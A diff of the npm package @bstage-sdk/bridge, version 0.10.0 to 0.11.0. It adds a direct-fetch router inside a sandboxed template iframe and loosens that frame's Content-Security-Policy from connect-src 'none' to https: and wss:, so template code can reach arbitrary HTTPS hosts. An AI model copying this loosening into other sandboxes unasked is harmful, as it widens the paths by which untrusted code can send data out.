+  let routesReady = false;
+  function copyStrings(value) {
+    if (!Array.isArray(value)) return null;
+    const out = [];
+    for (let i = 0; i < value.length; i += 1) {
+      if (typeof value[i] === "string") out[out.length] = value[i];
+    }
+    return out;
+  }
+  function takeSnapshot(init) {
+    if (routesReady) return;
+    const raw = init;
+    gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
+    partnerOrigins = copyStrings(raw.partnerOrigins) || [];
+    routesReady = true;
+  }
+  promiseThen(client.ready, takeSnapshot);
+  function matchesPrefix2(pathname, prefix) {
+    const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
+    return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
+  }
+  function routeOf(origin, protocol, pathname) {
+    if (origin === hostOrigin) {
+      if (gatewayPrefixes === null) return "bridge";
+      for (let i = 0; i < gatewayPrefixes.length; i += 1) {
+        if (matchesPrefix2(pathname, gatewayPrefixes[i])) return "bridge";
+      }
+      return "reject";
+    }
+    for (let i = 0; i < partnerOrigins.length; i += 1) {
+      if (origin === partnerOrigins[i]) return "bridge";
+    }
+    return protocol === "https:" ? "direct" : "reject";
+  }
+  function requestUrlOf(input) {
+    if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
+    try {
+      return getRequestUrl(input);
+    } catch {
+      return void 0;
+    }
+  }
+  function dispatch2(input, init) {
+    if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
+      return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
+    }
+    const requestUrl = requestUrlOf(input);
+    const request = requestUrl !== void 0;
+    let parsed;
+    try {
+      parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: invalid url"));
+    }
+    const href = getHref(parsed);
+    const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
+    const target = request ? input : href;
+    if (route === "bridge") return bridgeFetch(target, init);
+    if (route === "reject") {
+      return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
+    }
+    if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
+    return nativeFetch(
+      g,
+      target,
+      assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
+    );
+  }
+  function bstageFetch(input, init) {
+    try {
+      if (routesReady) return dispatch2(input, init);
+      return promiseThen(client.ready, function(value) {
+        takeSnapshot(value);
+        return dispatch2(input, init);
+      });
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: request failed"));
+    }
+  }
+  Object.defineProperty(g, "__bstage_fetch__", {
+    value: bstageFetch,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return bstageFetch;
+}
+
 // src/srcdoc/escape.ts
 var HTML_ESCAPES = {
   "&": "&amp;",
@@ -1403,7 +1524,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
     `img-src ${media} data: blob:`,
     `font-src ${assetOrigin} data:`,
     `media-src ${media} blob:`,
-    "connect-src 'none'",
+    "connect-src https: wss:",
     "frame-src 'none'",
     "form-action 'none'",
     "base-uri 'none'"
@@ -1420,6 +1541,9 @@ function bootstrapScript(o) {
     `var bridgeRuntime = ${bridgeRuntime.toString()};`,
     `var createBridgeFetch = ${createBridgeFetch.toString()};`,
     "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
+    // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
+    `var installDirectFetch = ${installDirectFetch.toString()};`,
+    "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
     "var lastHeight = -1;",
     "var scheduled = false;",
     "function reportHeight() {",

package/dist/host.d.cts

@@ -1,6 +1,6 @@
-import { f as BridgeHostEventType, e as BridgeEventMap, t as ToastKind, L as LogLevel, l as BridgeSurface, T as ThemeState, S as SlotState, M as MemberState, m as BridgeTranslations } from './messages-CRGnyf-6.cjs';
-export { a as BRIDGE_SURFACES, I as IFRAME_ATTRIBUTES, w as isBridgeSurface } from './messages-CRGnyf-6.cjs';
-export { C as CreateSrcdocOptions, c as createNonce, d as createSession, e as createSrcdoc, f as isValidSession } from './createSrcdoc-bOoxttPz.cjs';
+import { f as BridgeHostEventType, e as BridgeEventMap, t as ToastKind, L as LogLevel, l as BridgeSurface, T as ThemeState, S as SlotState, M as MemberState, m as BridgeTranslations } from './messages-BjpZyiLy.cjs';
+export { a as BRIDGE_SURFACES, I as IFRAME_ATTRIBUTES, w as isBridgeSurface } from './messages-BjpZyiLy.cjs';
+export { C as CreateSrcdocOptions, c as createNonce, d as createSession, e as createSrcdoc, f as isValidSession } from './createSrcdoc-DgQyvIjG.cjs';
 
 /** 호스트 fetch 정책. */
 interface BridgePolicy {

package/dist/host.d.ts

@@ -1,6 +1,6 @@
-import { f as BridgeHostEventType, e as BridgeEventMap, t as ToastKind, L as LogLevel, l as BridgeSurface, T as ThemeState, S as SlotState, M as MemberState, m as BridgeTranslations } from './messages-CRGnyf-6.js';
-export { a as BRIDGE_SURFACES, I as IFRAME_ATTRIBUTES, w as isBridgeSurface } from './messages-CRGnyf-6.js';
-export { C as CreateSrcdocOptions, c as createNonce, d as createSession, e as createSrcdoc, f as isValidSession } from './createSrcdoc-bOoxttPz.js';
+import { f as BridgeHostEventType, e as BridgeEventMap, t as ToastKind, L as LogLevel, l as BridgeSurface, T as ThemeState, S as SlotState, M as MemberState, m as BridgeTranslations } from './messages-BjpZyiLy.js';
+export { a as BRIDGE_SURFACES, I as IFRAME_ATTRIBUTES, w as isBridgeSurface } from './messages-BjpZyiLy.js';
+export { C as CreateSrcdocOptions, c as createNonce, d as createSession, e as createSrcdoc, f as isValidSession } from './createSrcdoc-DgQyvIjG.js';
 
 /** 호스트 fetch 정책. */
 interface BridgePolicy {

package/dist/host.js

@@ -32,8 +32,8 @@ import {
   prepareFetch,
   resolveDestination,
   resolvePolicy
-} from "./chunk-JH3A3Z2A.js";
-import "./chunk-N3JID7KQ.js";
+} from "./chunk-ND2HFYBP.js";
+import "./chunk-CSAW3L7P.js";
 
 // src/host/rateLimiter.ts
 var DEFAULT_WINDOW_MS = 6e4;
@@ -115,6 +115,7 @@ function buildInit(init, hostOrigin, partnerOrigins, policy) {
     spaceId: String(init.spaceId),
     hostOrigin,
     gatewayBase: `${hostOrigin}/gw`,
+    gatewayPrefixes: policy.gatewayPrefixes,
     locale: String(init.locale),
     theme: sanitizeTheme(init.theme),
     ...slot ? { slot } : {},

package/dist/index.cjs

@@ -496,6 +496,126 @@ function createBridgeFetch(client) {
   return bridgeFetch;
 }
 
+// src/frame/directFetch.ts
+function installDirectFetch(g, client, config) {
+  const hostOrigin = config.hostOrigin;
+  const callFn = Function.prototype.call;
+  const NativeURL = g.URL;
+  const rawFetch = g.fetch;
+  const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
+  const bridgeFetch = client.fetch;
+  const strSlice = callFn.bind(String.prototype.slice);
+  const promiseThen = callFn.bind(Promise.prototype.then);
+  const promiseReject = Promise.reject.bind(Promise);
+  const assign = Object.assign;
+  const TypeErr = TypeError;
+  function getter(ctor, name) {
+    if (typeof ctor !== "function") return void 0;
+    let proto = ctor.prototype;
+    while (proto) {
+      const desc = Object.getOwnPropertyDescriptor(proto, name);
+      if (desc && typeof desc.get === "function") {
+        return callFn.bind(desc.get);
+      }
+      proto = Object.getPrototypeOf(proto);
+    }
+    return void 0;
+  }
+  const getHref = getter(NativeURL, "href");
+  const getOrigin = getter(NativeURL, "origin");
+  const getProtocol = getter(NativeURL, "protocol");
+  const getPathname = getter(NativeURL, "pathname");
+  const getRequestUrl = getter(g.Request, "url");
+  let gatewayPrefixes = null;
+  let partnerOrigins = [];
+  let routesReady = false;
+  function copyStrings(value) {
+    if (!Array.isArray(value)) return null;
+    const out = [];
+    for (let i = 0; i < value.length; i += 1) {
+      if (typeof value[i] === "string") out[out.length] = value[i];
+    }
+    return out;
+  }
+  function takeSnapshot(init) {
+    if (routesReady) return;
+    const raw = init;
+    gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
+    partnerOrigins = copyStrings(raw.partnerOrigins) || [];
+    routesReady = true;
+  }
+  promiseThen(client.ready, takeSnapshot);
+  function matchesPrefix(pathname, prefix) {
+    const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
+    return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
+  }
+  function routeOf(origin, protocol, pathname) {
+    if (origin === hostOrigin) {
+      if (gatewayPrefixes === null) return "bridge";
+      for (let i = 0; i < gatewayPrefixes.length; i += 1) {
+        if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
+      }
+      return "reject";
+    }
+    for (let i = 0; i < partnerOrigins.length; i += 1) {
+      if (origin === partnerOrigins[i]) return "bridge";
+    }
+    return protocol === "https:" ? "direct" : "reject";
+  }
+  function requestUrlOf(input) {
+    if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
+    try {
+      return getRequestUrl(input);
+    } catch {
+      return void 0;
+    }
+  }
+  function dispatch(input, init) {
+    if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
+      return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
+    }
+    const requestUrl = requestUrlOf(input);
+    const request = requestUrl !== void 0;
+    let parsed;
+    try {
+      parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: invalid url"));
+    }
+    const href = getHref(parsed);
+    const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
+    const target = request ? input : href;
+    if (route === "bridge") return bridgeFetch(target, init);
+    if (route === "reject") {
+      return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
+    }
+    if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
+    return nativeFetch(
+      g,
+      target,
+      assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
+    );
+  }
+  function bstageFetch(input, init) {
+    try {
+      if (routesReady) return dispatch(input, init);
+      return promiseThen(client.ready, function(value) {
+        takeSnapshot(value);
+        return dispatch(input, init);
+      });
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: request failed"));
+    }
+  }
+  Object.defineProperty(g, "__bstage_fetch__", {
+    value: bstageFetch,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return bstageFetch;
+}
+
 // src/srcdoc/escape.ts
 var HTML_ESCAPES = {
   "&": "&amp;",
@@ -636,7 +756,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
     `img-src ${media} data: blob:`,
     `font-src ${assetOrigin} data:`,
     `media-src ${media} blob:`,
-    "connect-src 'none'",
+    "connect-src https: wss:",
     "frame-src 'none'",
     "form-action 'none'",
     "base-uri 'none'"
@@ -653,6 +773,9 @@ function bootstrapScript(o) {
     `var bridgeRuntime = ${bridgeRuntime.toString()};`,
     `var createBridgeFetch = ${createBridgeFetch.toString()};`,
     "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
+    // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
+    `var installDirectFetch = ${installDirectFetch.toString()};`,
+    "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
     "var lastHeight = -1;",
     "var scheduled = false;",
     "function reportHeight() {",

package/dist/index.d.cts

@@ -1,5 +1,5 @@
-export { B as BRIDGE_ERROR_CODES, a as BRIDGE_SURFACES, b as BridgeError, c as BridgeErrorCode, d as BridgeErrorLike, e as BridgeEventMap, f as BridgeHostEventType, g as BridgeInit, h as BridgeLimits, i as BridgeRequestMap, j as BridgeRequestType, k as BridgeResult, l as BridgeSurface, m as BridgeTranslations, F as FRAME_UNLOAD_EVENT, n as FetchRequest, o as FetchResult, H as HOST_EVENT_TYPES, I as IFRAME_ATTRIBUTES, p as INIT_RESPONSE, L as LogLevel, M as MemberState, R as READY_EVENT, q as REQUEST_TIMEOUT_MS, r as REQUEST_TYPES, S as SlotState, s as StorageOp, T as ThemeState, t as ToastKind, W as WithSession, u as isBridgeErrorCode, v as isBridgeErrorLike, w as isBridgeSurface, x as isHostEventType, y as isRequestType } from './messages-CRGnyf-6.cjs';
-export { C as CreateSrcdocOptions, M as MAX_ELEMENT_NAME_LENGTH, a as MAX_MEDIA_ORIGINS, b as buildFrameCsp, c as createNonce, d as createSession, e as createSrcdoc, i as isValidNonce, f as isValidSession } from './createSrcdoc-bOoxttPz.cjs';
+export { B as BRIDGE_ERROR_CODES, a as BRIDGE_SURFACES, b as BridgeError, c as BridgeErrorCode, d as BridgeErrorLike, e as BridgeEventMap, f as BridgeHostEventType, g as BridgeInit, h as BridgeLimits, i as BridgeRequestMap, j as BridgeRequestType, k as BridgeResult, l as BridgeSurface, m as BridgeTranslations, F as FRAME_UNLOAD_EVENT, n as FetchRequest, o as FetchResult, H as HOST_EVENT_TYPES, I as IFRAME_ATTRIBUTES, p as INIT_RESPONSE, L as LogLevel, M as MemberState, R as READY_EVENT, q as REQUEST_TIMEOUT_MS, r as REQUEST_TYPES, S as SlotState, s as StorageOp, T as ThemeState, t as ToastKind, W as WithSession, u as isBridgeErrorCode, v as isBridgeErrorLike, w as isBridgeSurface, x as isHostEventType, y as isRequestType } from './messages-BjpZyiLy.cjs';
+export { C as CreateSrcdocOptions, M as MAX_ELEMENT_NAME_LENGTH, a as MAX_MEDIA_ORIGINS, b as buildFrameCsp, c as createNonce, d as createSession, e as createSrcdoc, i as isValidNonce, f as isValidSession } from './createSrcdoc-DgQyvIjG.cjs';
 
 /** 봉투 버전. 형식이 하위 호환되지 않게 바뀔 때만 올린다. */
 declare const BRIDGE_VERSION = 1;

package/dist/index.d.ts

@@ -1,5 +1,5 @@
-export { B as BRIDGE_ERROR_CODES, a as BRIDGE_SURFACES, b as BridgeError, c as BridgeErrorCode, d as BridgeErrorLike, e as BridgeEventMap, f as BridgeHostEventType, g as BridgeInit, h as BridgeLimits, i as BridgeRequestMap, j as BridgeRequestType, k as BridgeResult, l as BridgeSurface, m as BridgeTranslations, F as FRAME_UNLOAD_EVENT, n as FetchRequest, o as FetchResult, H as HOST_EVENT_TYPES, I as IFRAME_ATTRIBUTES, p as INIT_RESPONSE, L as LogLevel, M as MemberState, R as READY_EVENT, q as REQUEST_TIMEOUT_MS, r as REQUEST_TYPES, S as SlotState, s as StorageOp, T as ThemeState, t as ToastKind, W as WithSession, u as isBridgeErrorCode, v as isBridgeErrorLike, w as isBridgeSurface, x as isHostEventType, y as isRequestType } from './messages-CRGnyf-6.js';
-export { C as CreateSrcdocOptions, M as MAX_ELEMENT_NAME_LENGTH, a as MAX_MEDIA_ORIGINS, b as buildFrameCsp, c as createNonce, d as createSession, e as createSrcdoc, i as isValidNonce, f as isValidSession } from './createSrcdoc-bOoxttPz.js';
+export { B as BRIDGE_ERROR_CODES, a as BRIDGE_SURFACES, b as BridgeError, c as BridgeErrorCode, d as BridgeErrorLike, e as BridgeEventMap, f as BridgeHostEventType, g as BridgeInit, h as BridgeLimits, i as BridgeRequestMap, j as BridgeRequestType, k as BridgeResult, l as BridgeSurface, m as BridgeTranslations, F as FRAME_UNLOAD_EVENT, n as FetchRequest, o as FetchResult, H as HOST_EVENT_TYPES, I as IFRAME_ATTRIBUTES, p as INIT_RESPONSE, L as LogLevel, M as MemberState, R as READY_EVENT, q as REQUEST_TIMEOUT_MS, r as REQUEST_TYPES, S as SlotState, s as StorageOp, T as ThemeState, t as ToastKind, W as WithSession, u as isBridgeErrorCode, v as isBridgeErrorLike, w as isBridgeSurface, x as isHostEventType, y as isRequestType } from './messages-BjpZyiLy.js';
+export { C as CreateSrcdocOptions, M as MAX_ELEMENT_NAME_LENGTH, a as MAX_MEDIA_ORIGINS, b as buildFrameCsp, c as createNonce, d as createSession, e as createSrcdoc, i as isValidNonce, f as isValidSession } from './createSrcdoc-DgQyvIjG.js';
 
 /** 봉투 버전. 형식이 하위 호환되지 않게 바뀔 때만 올린다. */
 declare const BRIDGE_VERSION = 1;

package/dist/index.js

@@ -29,8 +29,8 @@ import {
   isRequestType,
   isValidNonce,
   isValidSession
-} from "./chunk-JH3A3Z2A.js";
-import "./chunk-N3JID7KQ.js";
+} from "./chunk-ND2HFYBP.js";
+import "./chunk-CSAW3L7P.js";
 export {
   BRIDGE_ERROR_CODES,
   BRIDGE_NAMESPACE,

package/dist/{messages-CRGnyf-6.d.cts → messages-BjpZyiLy.d.cts}

@@ -70,6 +70,12 @@ interface BridgeInit {
     readonly spaceId: string;
     readonly hostOrigin: string;
     readonly gatewayBase: string;
+    /**
+     * 호스트 정책의 같은 origin 게이트웨이 경로 접두사(`policy.gatewayPrefixes`). 프레임
+     * 라우터(`__bstage_fetch__`)가 "브리지로 보낼 같은 origin 경로"를 가르는 데 쓴다. 판정의 정본은 여전히 호스트다.
+     * 이 필드가 없는 옛 호스트면 라우터는 hostOrigin 요청을 모두 브리지로 보낸다.
+     */
+    readonly gatewayPrefixes?: readonly string[];
     readonly locale: string;
     readonly theme: ThemeState;
     readonly slot?: SlotState;

package/dist/{messages-CRGnyf-6.d.ts → messages-BjpZyiLy.d.ts}

@@ -70,6 +70,12 @@ interface BridgeInit {
     readonly spaceId: string;
     readonly hostOrigin: string;
     readonly gatewayBase: string;
+    /**
+     * 호스트 정책의 같은 origin 게이트웨이 경로 접두사(`policy.gatewayPrefixes`). 프레임
+     * 라우터(`__bstage_fetch__`)가 "브리지로 보낼 같은 origin 경로"를 가르는 데 쓴다. 판정의 정본은 여전히 호스트다.
+     * 이 필드가 없는 옛 호스트면 라우터는 hostOrigin 요청을 모두 브리지로 보낸다.
+     */
+    readonly gatewayPrefixes?: readonly string[];
     readonly locale: string;
     readonly theme: ThemeState;
     readonly slot?: SlotState;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@bstage-sdk/bridge",
-  "version": "0.10.0",
+  "version": "0.11.0",
   "description": "bstage SDK bridge — isolated template iframe protocol, host policy and frame client",
   "type": "module",
   "publishConfig": {